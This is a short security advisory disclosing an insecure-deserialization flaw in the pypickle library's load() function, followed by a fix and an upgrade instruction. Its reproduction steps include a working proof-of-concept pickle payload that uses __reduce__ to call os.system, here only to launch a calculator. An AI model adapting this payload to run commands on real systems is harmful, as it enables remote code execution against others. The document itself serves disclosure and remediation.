### Critical Vulnerability Information #### Vulnerability Description - **Issue**: The `load()` function in `pypickle.py` uses Python's `pickle.load()` to deserialize data from files, without validating or sanitizing the input. - **Risk**: If an attacker provides a malicious pickle file, executing it will trigger arbitrary code execution, leading to a Remote Code Execution (RCE) vulnerability. #### Impact - **Arbitrary Code Execution** - **Remote System Compromise** #### Affected Components - **File**: `pypickle.py` - **Function**: `load()` - **Issue**: `pickle.load()` is used without input validation #### Reproduction Steps 1. Clone the repository: `git clone https://github.com/erdogant/pypickle.git` 2. Navigate to the `pypickle` directory: `cd pypickle` 3. Create a malicious `malicious.pkl` file: ```python import pickle import os class Exploit: def __reduce__(self): return (os.system, ("gnome-calculator",)) # Change to 'calc.exe' on Windows with open("malicious.pkl", "wb") as f: pickle.dump(Exploit(), f) ``` 4. Create a `run_exploit.py` file: ```python import pypickle pypickle.load("malicious.pkl") ``` 5. Run `run_exploit.py`: `python3 run_exploit.py` #### Solution - Add a `validate` parameter, defaulting to `True`. When set to `True`, it checks for high-risk modules and blocks loading. - Upgrade to the latest version `v2.0.0` using the command: `pip install -U pypickle`